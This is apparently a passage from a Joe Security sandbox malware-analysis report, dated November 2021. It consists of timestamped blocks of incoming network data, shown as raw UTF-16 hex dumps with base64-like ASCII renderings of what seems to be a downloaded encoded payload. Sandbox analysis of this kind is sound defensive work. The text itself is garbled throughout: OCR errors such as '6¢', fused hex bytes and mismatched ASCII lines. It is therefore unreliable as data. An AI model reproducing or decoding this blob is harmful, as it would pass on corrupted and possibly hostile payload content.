00 46 00 43 00 61 00 46 00 51 00 72 00 51 00 58 00 6¢ 00 76 00 5a 00 55 00 45 00 79 00 4f 00 47 00 78 00 42 00 55 00
55 00 46 00 48 00 53 00 32 00 6b 00 31 00 65 00 6b 00 6¢ 00 52 00 53 00 55 00 46 00 43 00 62 00 30 00 46 00 61 00 51
00 56 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 4c 00 52 00
Data Ascii: FLTEFJWEtnY 1hXQXNIQm81cE11SVdLaTV6SFFIQUIVQVBBUUFFS2g0Q0tHSUFBQWIXxS2dOdkpRRUFC
aFQrQXIvZUEyOGxBUUFHS2k1ekIRSUFCbOFaQVFBRUtoNENLR

2021-11-18 09:30:21 UTC 152 IN Data Raw: 53 00 7a 00 4a 00 30 00 51 00 30 00 4a 00 6e 00 51 00 31 00 52 00 4d 00 4d 00 47 00 39 00 30 00 51 00 6d
00 64 00 43 00 61 00 45 00 31 00 6b 00 54 00 58 00 4a 00 43 00 5a 00 30 00 45 00 35 00 51 00 6d 00 52 00 4e 00 63 00
6b 00 4a 00 6e 00 51 00 56 00 4e 00 43 00 54 00 33 00 64 00 61 00 51 00 6d 00 64 00 43 00 51 00 6b 00 68 00 30 00 54
00 58 00 4a 00 48 00 5a 00 30 00 4e 00 54 00 53 00 32 00 52 00 4e 00 63 00 6b 00 5a 00 6e 00 51 00 57 00 74 00 53 00
5400 30 00 46 00 78 00 52 00 6d 00 64 00 45 00 55 00 45 00 31 00 42 00 5a 00 7a 00 56 00 47 00 5a 00 30 00 4e 00 32
00 54 00 79 00 74 00 42 00 63 00 55 00 5a 00 6e 00 51 00 54 00 4a 00 43 00 54 00 30 00 46 00 78 00 52 00 6d 00 64 00
45 00 63 00 56 00 46 00 31 00 51 00 58 00 46 00 47 00 5a 00 30 00 51 00 79
Data Ascii: SzJ0Q0INQ1IRMMG90QmdCaE1kTXJCZOE5QmMRNckIJNQVNCT3daQmdCQKhOTXIJHZONTS2RN
ckZnQWISTOFXRmMAEUE1BZzVGZON2TytBcUZnQTIJCTOFXRMAECVF1QXFGZO0Qy

2021-11-18 09:30:21 UTC 156 IN Data Raw: 00 42 00 51 00 55 00 74 00 52 00 51 00 58 00 6¢ 00 42 00 51 00 7a 00 68 00 43 00 51 00 56 00 46 00 42 00 55
00 55 00 46 00 44 00 64 00 30 00 52 00 42 00 51 00 55 00 46 00 77 00 51 00 55 00 52 00 72 00 51 00 56 00 42 00 33 00
52 00 55 00 4a 00 42 00 51 00 6b 00 46 00 42 00 4d 00 6d 00 64 00 52 00 51 00 55 00 46 00 44 00 61 00 30 00 46 00 51
00 55 00 55 00 4a 00 4a 00 51 00 56 00 46 00 72 00 51 00 6b 00 56 00 42 00 52 00 45 00 5a 00 48 00 51 00 55 00 46 00
42 00 56 00 31 00 46 00 47 00 51 00 55 00 46 00 46 00 4f 00 45 00 4a 00 44 00 55 00 55 00 56 00 52 00 51 00 55 00 52
00 6e 00 57 00 6b 00 46 00 42 00 51 00 6¢ 00 70 00 42 00 56 00 54 00 52 00 42 00 56 00 57 00 64 00 46 00 53 00 6b 00
46 00 53 00 51 00 55 00 45 00 32 00 65 00 47 00 64 00 42 00 51 00 55 00
Data Ascii: BQUtRQXIBQzhCQVFBUUFDdORBQUFwWQURrQVB3RUJBQkFBMMJRQUFDaO0FQUUJJIQVFrQkV
BREZHQUFBV1FGQUFFOEJDUUVRQURNWKFBQIpBVTRBVWdFSKFSQUE2eGdBQU

2021-11-18 09:30:21 UTC 160 IN Data Raw: 58 00 64 00 46 00 51 00 55 00 46 00 48 00 4f 00 45 00 35 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 49 00
3400 51 00 6b 00 74 00 42 00 53 00 56 00 52 00 42 00 55 00 55 00 46 00 42 00 4e 00 6¢ 00 45 00 34 00 51 00 55 00 46
00 47 00 61 00 30 00 4a 00 49 00 64 00 30 00 56 00 76 00 51 00 57 00 68 00 4e 00 51 00 6b 00 46 00 42 00 51 00 6d 00
7400 43 00 51 00 55 00 46 00 42 00 56 00 31 00 46 00 46 00 5a 00 6b 00 46 00 54 00 5a 00 30 00 4e 00 46 00 64 00 30
00 56 00 42 00 51 00 55 00 56 00 42 00 53 00 6b 00 46 00 42 00 51 00 6¢ 00 70 00 42 00 55 00 6a 00 68 00 43 00 53 00
30 00 46 00 4a 00 56 00 45 00 46 00 52 00 51 00 55 00 46 00 44 00 55 00 57 00 39 00 42 00 51 00 55 00 5a 00 72 00 51
00 6b 00 68 00 33 00 52 00 57 00 39 00 42 00 61 00 45 00 31 00 43 00 51
Data Ascii: XdAFQUFHOE5BQUJaQVI4QktBSVRBUUFBNIE4QUF Ga0JldOVvQWhNQKFBQMtCQUFBV1FFZKFTZONFAOV
BQUVBSKFBQIpBUjhCSOFIVEFRQUFDUWIBQUZIQkh3RWIBaE1CQ
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Timestamp transferred

2021-11-18 09:30:21 UTC 164

2021-11-18 09:30:21 UTC 168

2021-11-18 09:30:21 UTC 172

2021-11-18 09:30:21 UTC 176

2021-11-18 09:30:21 UTC 180

2021-11-18 09:30:21 UTC 184

2021-11-18 09:30:21 UTC 188

2021-11-18 09:30:21 UTC 192

2021-11-18 09:30:21 UTC 197

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 51 00 6b 00 56 00 50 00 51 00 56 00 4a 00 4e 00 64 00 30 00 56 00 42 00 52 00 6a 00 68 00 6a 00 55 00
6b 00 31 00 33 00 52 00 58 00 6¢ 00 46 00 63 00 6b 00 31 00 53 00 54 00 58 00 64 00 49 00 4c 00 30 00 56 00 31 00 56
00 56 00 4a 00 4e 00 64 00 30 00 63 00 32 00 51 00 6a 00 5a 00 52 00 55 00 6b 00 31 00 33 00 52 00 6e 00 4e 00 43 00
59 00 57 00 74 00 53 00 54 00 58 00 64 00 49 00 5a 00 6b 00 4e 00 50 00 62 00 31 00 4a 00 4e 00 64 00 30 00 64 00 72
00 52 00 6a 00 68 00 6a 00 55 00 6b 00 31 00 33 00 52 00 58 00 70 00 47 00 63 00 6b 00 31 00 53 00 54 00 58 00 64 00
48 00 52 00 55 00 56 00 77 00 56 00 56 00 4a 00 4e 00 64 00 30 00 68 00 4e 00 52 00 58 00 6¢ 00 52 00 55 00 6b 00 31
00 33 00 53 00 48 00 5a 00 47 00 54 00 30 00 46 00 53 00 54 00 58 00 64 00

Data Ascii: QkVPQVJINdOVBRjhjUK13RXIFck1STXdILOV1VVINdOc2QjZRUK1I3RNNCYWtSTXdIZKNPb1JINdOdrRj
hjUk13RXpGck1STXdHRUVWVVINAOhNRXIRUK13SHZGTOFSTXd

Data Raw: 46 00 4b 00 57 00 55 00 46 00 35 00 61 00 47 00 73 00 35 00 52 00 6b 00 56 00 33 00 51 00 56 00 52 00 45
00 4d 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 47 00 64 00 44 00 4e 00 30 00 74 00 44 00 61 00 30 00 52 00
55 00 64 00 30 00 4e 00 46 00 55 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 4a 00 42 00 52 00 32 00 39
00 76 00 55 00 30 00 4a 00 53 00 55 00 55 00 46 00 47 00 51 00 53 00 74 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
70 00 5a 00 51 00 56 00 46 00 55 00 55 00 47 00 6¢ 00 42 00 52 00 6b 00 56 00 42 00 62 00 32 00 6f 00 30 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 72 00 55 00 55 00 4e 00 51 00 51 00 32 00 6¢ 00 72 00 52 00 46 00 56 00 33 00 51 00
7a 00 64 00 51 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 55 00 6b

Data Ascii: FKWUF5aGs5RkV3QVREMEFBQUFBbGADNOtDa0RUdONFUFFBQUFBQ1JBR29vUOISUUFGQS
tBQUFBQUPZQVFUUGIBRKVBb200QUFBQUFrUUNQQ2IrRFV3QzdQZOFBQUFDUK

Data Raw: 00 55 00 46 00 73 00 5a 00 30 00 4a 00 79 00 53 00 58 00 59 00 30 00 56 00 54 00 68 00 52 00 52 00 46 00
4200 58 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 50 00 62 00 30 00 63 00 76 00 61 00 46
0051 00 77 00 51 00 55 00 39 00 34 00 57 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6¢ 00 42 00 56 00 5
8 00 70 00 55 00 4b 00 30 00 5a 00 51 00 59 00 30 00 46 00 54 00 52 00 6d 00 74 00 42 00 51 00 55 00 46 00 42 00 51
00 57 00 78 00 6e 00 51 00 6b 00 68 00 43 00 4c 00 7a 00 52 00 56 00 4b 00 32 00 64 00 43 00 64 00 56 00 64 00 52 00
51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 55 00 73 00 30 00 5a 00 43 00 39 00 6f 00 56 00 44 00 6¢ 00 42
0053 00 6d 00 68 00 61 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00

Data Ascii: UFsZ0JySXYOVThRRFIXQUFBQUFDVOFPbOcvaFQwQUIAWUFBQUFBSIIBVXpUKOZQYOFTR
mtBQUFBQWxnQKhCLZzRVK2dCdVdRQUFBQUNXQUs0ZC90VDIBSmhaQUFBQUFK

Data Raw: 00 45 00 4e 00 76 00 56 00 31 00 52 00 33 00 53 00 47 00 39 00 6f 00 5a 00 30 00 46 00 42 00 51 00 55 00 46
00 44 00 56 00 30 00 46 00 45 00 51 00 58 00 46 00 4e 00 61 00 46 00 70 00 53 00 51 00 56 00 64 00 31 00 53 00 45 00
46 0042 00 51 00 55 00 46 00 42 00 53 00 6¢ 00 6¢ 00 4a 00 5a 00 46 00 4a 00 6e 00 4e 00 55 00 5a 00 73 00 53 00 55
00 4a 00 74 00 53 00 57 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 51 00 69 00 74 00 48 00 52 00
44 00 68 00 58 00 56 00 57 00 64 00 49 00 57 00 57 00 68 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51
00 55 00 6¢ 00 6a 00 57 00 54 00 5a 00 6e 00 4d 00 56 00 52 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00
51 00 55 00 46 00 4b 00 52 00 57 00 64 00 5a 00 56 00 48 00 42 00 48 00

Data Ascii: ENVV1R3SG90Z0FBQUFDVOFEQXFNaFpSQVd1SEFBQUFBSIIIZFINNUZsSUJItSWNBQUFBQWxnQitHRDh
XVWdIWWh3QUFBQUNXQUIWTZnMVRBUUFBQUFDQUFKRWdZVHBH

Data Raw: 34 00 52 00 55 00 56 00 42 00 51 00 30 00 35 00 42 00 59 00 55 00 39 00 6f 00 51 00 55 00 46 00 42 00 51 00
5500 46 00 4a 00 57 00 55 00 6b 00 77 00 5a 00 32 00 4a 00 4b 00 51 00 55 00 6b 00 30 00 51 00 6e 00 45 00 32 00 52
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 71 00 59 00 55 00 4a 00 6f 00 51 00 55 00 46 00 71 00
5a 00 30 00 63 00 77 00 62 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 54 00 46 00 56 00 4a
00 65 00 6¢ 00 4a 00 68 00 55 00 45 00 46 00 69 00 65 00 57 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00
5a 00 53 00 58 00 5a 00 52 00 61 00 6¢ 00 68 00 47 00 62 00 7a 00 68 00 43 00 65 00 47 00 46 00 46 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 64 00 55 00 51 00 79 00 74

Data Ascii: 4ARUVBQO5BYU90QUFBQUFIWUKwZ2JKQUKOQNE2RUFBQUFBaGdqYUJoQUFqZ0cwb1FBQUF
BQOdDTFVJelJhUEFieWhBQUFBQUIZSXZRalhGbzhCeGFFQUFBQUF0Z2dUQyt

Data Raw: 00 4e 00 42 00 65 00 45 00 64 00 47 00 4e 00 32 00 74 00 43 00 56 00 6d 00 46 00 5a 00 51 00 55 00 46 00
42 0051 00 55 00 46 00 6f 00 5a 00 32 00 6b 00 30 00 52 00 45 00 5a 00 42 00 57 00 48 00 56 00 52 00 52 00 6d 00 56
00 77 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 52 00 30 00 4e 00 43 00 53 00 55 00 39 00 58 00 65 00 47 00
5500 32 00 51 00 56 00 64 00 68 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6¢ 00 4a 00 52 00 32
00 63 00 31 00 62 00 45 00 59 00 33 00 62 00 30 00 4a 00 69 00 4e 00 6¢ 00 6¢ 00 42 00 51 00 55 00 46 00 42 00 51 00
57 00 68 00 6e 00 61 00 6e 00 42 00 45 00 62 00 6b 00 46 00 59 00 64 00 58 00 64 00 47 00 4d 00 33 00 42 00 6e 00 51
00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 31 00 42 00 46 00 54 00

Data Ascii: NBeEdAGN2tCVmFZQUFBQUF0Z2kOREZBWHVRRmMVwWZ0OFBQUFDRONCSU9XeGU2QVdhbUFBQU
FBSVIJR2¢1bEY3b0JiNIIBQUFBQWhnanBEbkFYdXdGM3BnQUFBQUNHQI1BFT

Data Raw: 5a 00 7a 00 46 00 43 00 65 00 45 00 46 00 42 00 4e 00 46 00 46 00 49 00 53 00 6e 00 46 00 52 00 51 00 55
00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 4e 00 56 00 53 00 6e 00 6¢ 00 52 00 52 00 47 00 6¢ 00 42 00 5a 00
4500 64 00 77 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6¢ 00 4d 00 5a 00 32 00 74 00 52 00 51
00 55 00 39 00 4a 00 51 00 6a 00 4a 00 78 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 70 00
65 00 45 00 4e 00 34 00 63 00 30 00 45 00 30 00 64 00 30 00 68 00 70 00 63 00 56 00 46 00 42 00 51 00 55 00 46 00 42
00 51 00 30 00 64 00 44 00 54 00 47 00 39 00 4d 00 56 00 6b 00 46 00 59 00 61 00 6b 00 46 00 6¢ 00 64 00 58 00 42 00
42 00 51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 53 00 56 00 68 00 55

Data Ascii: ZzFCeEFBNFFISNFRQUFBQUNHQONVSNnIRRGIBZEdwQUFBQUFJWUIMZ2tRQU9JQjIxa0FBQUFBaGdpeE
N4cOE0dOhpcVFBQUFBQOADTGIOMVkKFYakFIdXBBQUFBQUIZSVhU

Data Raw: 00 48 00 55 00 46 00 46 00 36 00 51 00 56 00 46 00 43 00 63 00 30 00 46 00 71 00 63 00 58 00 56 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 6¢ 00 4e 00 51 00 54 00 52 00 6e 00 53 00 45 00 35 00 42 00 52 00 33 00 64 00 44
00 5a 00 6b 00 73 00 30 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 64 00 30 00 49 00 79 00 51 00 58 00 63 00
34 00 57 00 6d 00 4a 00 52 00 54 00 46 00 5a 00 79 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 55 00 6b 00 64
00 43 00 5a 00 7a 00 41 00 30 00 51 00 6¢ 00 4a 00 31 00 51 00 58 00 56 00 48 00 64 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 53 00 56 00 6¢ 00 5a 00 4f 00 55 00 52 00 4e 00 51 00 6b 00 46 00 48 00 4e 00 45 00 4d 00 32 00 59 00 54
00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 33 00 51 00 6e 00

Data Ascii: HUFF6QVFCcOFqcXVBQUFBQUINQTRNSE5BR3dDZks0QUFBQUFNdOlyQXc4WmJIRTFZyZOF
BQUFDUKdCZzA0QIJ1QXVHAUFBQUFBSVIZOURNQKFHNEM2YTRBQUFBQWAd3Qn

Data Raw: 55 00 46 00 42 00 51 00 56 00 46 00 44 00 62 00 6b 00 78 00 6€ 00 51 00 55 00 46 00 42 00 5a 00 30 00 46
00 33 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 7a 00 56 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00
46 00 44 00 62 00 6b 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 33 00 54 00 30 00 46 00 42 00 51 00 55
00 46 00 33 00 51 00 7a 00 56 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 62 00 6b 00 78 00 6e 00 51 00
55 00 46 00 42 00 5a 00 30 00 46 00 33 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 7a 00 56 00 51 00 55
00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 62 00 6b 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 33 00
54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 7a 00 56 00 51 00 55

Data Ascii: UFBQVFDbkxnQUFBZOF3TOFBQUF3QzVQUUFBQVFDbkxnQUFBZOF3TOFBQUF3QzVQUUFBQ
VFDbkxnQUFBZOF3TOFBQUF3QzVQUUFBQVFDbkxnQUFBZOF3TOFBQUF3QzVQU
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Timestamp transferred

2021-11-18 09:30:21 UTC 201

2021-11-18 09:30:21 UTC 205

2021-11-18 09:30:21 UTC 208

2021-11-18 09:30:21 UTC 212

2021-11-18 09:30:21 UTC 228

2021-11-18 09:30:21 UTC 240

2021-11-18 09:30:21 UTC 256

2021-11-18 09:30:21 UTC 272

2021-11-18 09:30:21 UTC 288

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 51 00 56 00 46 00 43 00 63 00 45 00 39 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 52 00 6d 00 54 00
3200 64 00 42 00 51 00 55 00 46 00 52 00 51 00 6d 00 70 00 4f 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 43 00 61
00 6b 00 35 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4a 00 71 00 54 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00
51 00 56 00 64 00 50 00 64 00 30 00 46 00 42 00 51 00 56 00 46 00 43 00 61 00 6b 00 35 00 6e 00 51 00 55 00 46 00 42
00 55 00 55 00 4a 00 71 00 54 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 6d 00 70 00 4f 00 5a 00 30 00 46 00
4200 51 00 56 00 46 00 43 00 61 00 6b 00 35 00 6 00 51 00 55 00 46 00 42 00 55 00 55 00 52 00 6d 00 54 00 57 00 64
00 42 00 51 00 55 00 46 00 52 00 52 00 47 00 5a 00 4e 00 5a 00 30 00 46 00

Data Ascii: QVFCCE9NQUFBUURMT2dBQUFRQMpOZOFBQVFCak5nQUFBUUJGTMABQUFRQVAPAOFBQVFC
ak5nQUFBUUJGTMdBQUFRQMpOZOFBQVFCak5nQUFBUURMTWABQUFRRGZNZOF

Data Raw: 64 00 43 00 52 00 30 00 68 00 52 00 51 00 55 00 46 00 42 00 55 00 55 00 52 00 78 00 55 00 56 00 46 00 42
00 51 00 55 00 46 00 6€ 00 51 00 6b 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 4e 00 46 00 46 00
4200 51 00 55 00 46 00 43 00 51 00 55 00 4e 00 6d 00 54 00 48 00 64 00 42 00 51 00 55 00 4a 00 52 00 51 00 6¢ 00 68
00 48 00 55 00 55 00 46 00 42 00 51 00 6d 00 64 00 43 00 55 00 30 00 64 00 52 00 51 00 55 00 46 00 43 00 64 00 30 00
4200 59 00 55 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 51 00 6b 00 39 00 52 00 51 00 55 00 46 00 42 00 51 00 31
00 46 00 44 00 55 00 46 00 42 00 52 00 51 00 55 00 46 00 44 00 5a 00 30 00 46 00 68 00 54 00 30 00 46 00 42 00 51 00
55 00 46 00 52 00 52 00 48 00 46 00 52 00 55 00 55 00 46 00 42 00 51 00 57

Data Ascii: AcCRONRQUFBUURXUVFBQUFNQKFRQUFBQXdBNFFBQUFCQUNMTHABQUJIRQIhHUUFBQmMACUO
dRQUFCA0JYUUFBQUNBQKIRQUFBQ1FDUFBRQUFDZOFhTOFBQUFRRHFRUUFBQW

Data Raw: 00 54 00 46 00 46 00 51 00 54 00 6c 00 45 00 54 00 55 00 4a 00 42 00 51 00 6b 00 56 00 45 00 54 00 6b 00 52
00 5a 00 63 00 45 00 45 00 34 00 52 00 55 00 45 00 35 00 52 00 45 00 31 00 52 00 51 00 55 00 31 00 72 00 51 00 31 00
68 00 44 00 52 00 45 00 70 00 42 00 53 00 6¢ 00 46 00 42 00 4f 00 55 00 52 00 50 00 4e 00 55 00 46 00 7a 00 52 00 55
00 4e 00 51 00 61 00 6a 00 46 00 51 00 51 00 54 00 68 00 72 00 51 00 30 00 4e 00 36 00 64 00 32 00 4a 00 42 00 54 00
55 00 56 00 42 00 65 00 6e 00 70 00 57 00 4b 00 30 00 45 00 34 00 52 00 55 00 46 00 36 00 65 00 6¢ 00 64 00 47 00 51
00 54 00 68 00 72 00 51 00 57 00 68 00 6f 00 62 00 31 00 46 00 42 00 54 00 47 00 74 00 42 00 51 00 33 00 67 00 72 00
54 00 45 00 46 00 34 00 52 00 55 00 52 00 54 00 52 00 55 00 39 00 53 00

Data Ascii: TFFQTIETUJBQKVETKRZCEE4ARUESREIRQU1rQ1hDREpPBSIFBOURPNUFZRUNQajFQQThrQON6d2JBTUV
BenpWKOE4RUF6eldGQThrQWhob1FBTGtBQ3grTEFARURTRU9S

Data Raw: 46 00 51 00 6d 00 52 00 44 00 59 00 57 00 74 00 44 00 4f 00 47 00 74 00 43 00 4f 00 55 00 52 00 4e 00 51 00
6b 00 46 00 4e 00 61 00 30 00 4a 00 4a 00 51 00 32 00 74 00 47 00 51 00 55 00 31 00 72 00 51 00 6¢ 00 4a 00 45 00 4d
00 45 00 5a 00 42 00 54 00 57 00 74 00 43 00 55 00 58 00 6¢ 00 6¢ 00 65 00 6b 00 4d 00 34 00 61 00 30 00 4a 00 50 00
55 00 32 00 55 00 32 00 51 00 79 00 74 00 72 00 51 00 6¢ 00 42 00 53 00 4d 00 30 00 5a 00 44 00 4b 00 32 00 74 00 43
00 4e 00 56 00 4a 00 75 00 54 00 55 00 4d 00 72 00 61 00 30 00 56 00 4b 00 61 00 44 00 4e 00 52 00 51 00 79 00 74 00
72 00 51 00 6a 00 4a 00 6f 00 62 00 6¢ 00 64 00 44 00 4b 00 32 00 74 00 43 00 51 00 33 00 6¢ 00 4e 00 51 00 6b 00 46
00 51 00 52 00 55 00 56 00 50 00 55 00 33 00 70 00 72 00 51 00 79 00 39

Data Ascii: FQmMRDYWtDOGtCOURNQKFNa0JJQ2tGQU1rQIIEMEZBTWICUXIlekM4a0JPU2U2QytrQIBSMOZDK2tCN
VJIuTUMra0VKaDNRQytrQjJobldDK2tCQ3INQKFQRUVPU3prQy9

Data Raw: 42 00 51 00 55 00 68 00 33 00 64 00 45 00 52 00 48 00 55 00 55 00 46 00 42 00 64 00 6b 00 46 00 34 00 52
00 45 00 64 00 52 00 51 00 55 00 46 00 49 00 5a 00 7a 00 56 00 45 00 52 00 31 00 46 00 42 00 51 00 54 00 6¢ 00 52 00
4e 00 55 00 52 00 48 00 55 00 55 00 46 00 42 00 4d 00 32 00 68 00 43 00 52 00 45 00 64 00 52 00 51 00 55 00 46 00 58
00 61 00 45 00 5a 00 45 00 52 00 31 00 46 00 42 00 51 00 55 00 74 00 33 00 51 00 57 00 35 00 48 00 55 00 55 00 46 00
42 00 53 00 6e 00 64 00 4e 00 62 00 6b 00 64 00 52 00 51 00 55 00 45 00 78 00 55 00 56 00 46 00 75 00 52 00 31 00 46
00 42 00 51 00 55 00 39 00 52 00 5a 00 43 00 74 00 48 00 55 00 55 00 46 00 42 00 56 00 58 00 64 00 52 00 62 00 6b 00
64 00 52 00 51 00 55 00 45 00 7a 00 5a 00 31 00 6¢ 00 75 00 52 00 31 00 46

Data Ascii: BQUh3dERHUUFBdkFAREJRQUFIZzZVER1FBQTIRNURHUUFBM2hCREJRQUFXaEZER1FBQUt
3QWS5HUUFBSNdNbkdRQUEXUVFUR1FBQUIRZCtHUUFBVXdRbkdRQUEZZ1IuR1F

Data Raw: 00 30 00 56 00 30 00 54 00 56 00 52 00 57 00 4f 00 55 00 68 00 61 00 57 00 46 00 4a 00 55 00 5a 00 45 00 68
00 4b 00 63 00 47 00 4a 00 74 00 5a 00 44 00 68 00 4e 00 56 00 45 00 5a 00 6d 00 54 00 55 00 46 00 42 00 4f 00 46 00
42 00 71 00 62 00 47 00 5a 00 59 00 65 00 6b 00 5a 00 6d 00 54 00 55 00 46 00 42 00 4f 00 46 00 56 00 75 00 56 00 6e
00 56 00 51 00 62 00 55 00 70 00 6d 00 57 00 48 00 70 00 47 00 5a 00 6b 00 31 00 42 00 51 00 54 00 68 00 53 00 4d 00
6c 00 59 00 77 00 55 00 6b 00 64 00 57 00 62 00 56 00 6¢ 00 59 00 56 00 6e 00 4e 00 6b 00 52 00 57 00 78 00 52 00 5a
00 47 00 70 00 53 00 51 00 6¢ 00 70 00 48 00 55 00 6e 00 6¢ 00 61 00 57 00 45 00 35 00 36 00 55 00 47 00 31 00 4b 00
5a 00 6¢ 00 68 00 36 00 52 00 6d 00 5a 00 4e 00 51 00 55 00 45 00 34 00

Data Ascii: OVOTVRWOUhaWFJUZEhKcGJItZDhNVEZmTUFBOFBgbGZYekZmTUFBOFVuUVNVQbUpmWHpGZ
k1BQThSMIYwUkdWbVIYVnNNKRWxXRZGpSQIpHUnlaWE56UG1KZIh6RMZNQUE4

Data Raw: 00 6¢ 00 56 00 4e 00 4e 00 46 00 4a 00 71 00 51 00 58 00 70 00 53 00 61 00 6d 00 52 00 43 00 55 00 6b 00 52
0042 00 65 00 46 00 4a 00 55 00 5a 00 7a 00 56 00 50 00 56 00 46 00 4a 00 44 00 51 00 55 00 52 00 57 00 51 00 31 00
46 00 71 00 54 00 54 00 4e 00 50 00 52 00 47 00 68 00 43 00 54 00 56 00 52 00 72 00 4d 00 31 00 46 00 36 00 53 00 54
00 4a 00 52 00 61 00 6d 00 64 00 36 00 54 00 56 00 52 00 42 00 65 00 45 00 35 00 55 00 62 00 45 00 5a 00 52 00 65 00
6d 00 78 00 43 00 54 00 30 00 52 00 46 00 4d 00 6b 00 31 00 36 00 56 00 54 00 52 00 4e 00 56 00 46 00 4a 00 43 00 55
00 57 00 74 00 4a 00 64 00 30 00 35 00 56 00 53 00 55 00 46 00 4e 00 52 00 46 00 46 00 34 00 54 00 55 00 52 00 4a 00
4d 00 30 00 34 00 77 00 54 00 58 00 68 00 4f 00 56 00 55 00 35 00 43 00

Data Ascii: IVNNFJgQXpSamRCUKRBeFJUZzVPVFIDQURWQI1FqTTNPRGhCTVRrM1F6STIRamd6TVRBe
ESUbEZRemxCTORFMk16VTRNVFICUWtIdO5VSUFNRFFATURIMO4wWTXhOVUSC

Data Raw: 00 6d 00 35 00 53 00 65 00 56 00 6¢ 00 58 00 54 00 6a 00 42 00 52 00 57 00 46 00 49 00 77 00 59 00 32 00 31
0073 00 61 00 57 00 52 00 59 00 55 00 6d 00 78 00 42 00 52 00 6b 00 35 00 73 00 59 00 32 00 35 00 61 00 63 00 46 00
6b 00 79 00 56 00 6b 00 52 00 69 00 4d 00 6a 00 55 00 77 00 59 00 32 00 31 00 47 00 61 00 6d 00 52 00 46 00 52 00 6a
00 42 00 6b 00 53 00 45 00 70 00 77 00 57 00 57 00 35 00 57 00 4d 00 46 00 70 00 52 00 51 00 6c 00 42 00 6a 00 52 00
31 00 5a 00 35 00 57 00 56 00 68 00 53 00 63 00 47 00 49 00 79 00 4e 00 55 00 52 00 69 00 4d 00 6a 00 55 00 77 00 59
0032 00 31 00 47 00 61 00 6d 00 52 00 46 00 52 00 6a 00 42 00 6b 00 53 00 45 00 70 00 77 00 57 00 57 00 35 00 57 00
4d 00 46 00 70 00 52 00 51 00 6¢ 00 46 00 5a 00 57 00 45 00 70 00 6f 00

Data Ascii: m5SeVIXTiBRWFIwY21saWRYUmxBRK5sY 25acFky VKRIMjUwY21GamRFRjBKSEpwWW5WMFpRQIBjR1Z

5WVhScGlyNURIMjUWY21GamRFRjBkS EpwWW5WMFpRQIFZWEpo

Data Raw: 00 6b 00 64 00 34 00 51 00 32 00 56 00 59 00 55 00 6d 00 78 00 6a 00 64 00 30 00 4a 00 45 00 59 00 6a 00
49 00 31 00 4d 00 6¢ 00 70 00 59 00 53 00 6a 00 42 00 57 00 52 00 7a 00 6¢ 00 44 00 5a 00 56 00 68 00 53 00 62 00 47
00 4e 00 33 00 51 00 6b 00 68 00 61 00 57 00 46 00 4a 00 44 00 5a 00 56 00 68 00 53 00 62 00 47 00 4e 00 33 00 51 00
6d 00 6¢ 00 6¢ 00 57 00 46 00 4a 00 73 00 59 00 33 00 64 00 43 00 53 00 46 00 70 00 59 00 55 00 6b 00 31 00 69 00 4d
00 6d 00 52 00 77 00 57 00 54 00 4a 00 47 00 63 00 31 00 4a 00 49 00 53 00 6e 00 42 00 6b 00 62 00 56 00 5a 00 36 00
51 00 55 00 56 00 4f 00 56 00 47 00 46 00 48 00 52 00 6e 00 6¢ 00 6a 00 52 00 55 00 5a 00 35 00 57 00 6a 00 4e 00 57
00 64 00 46 00 70 00 58 00 4e 00 54 00 42 00 54 00 56 00 7a 00 56 00 74 00

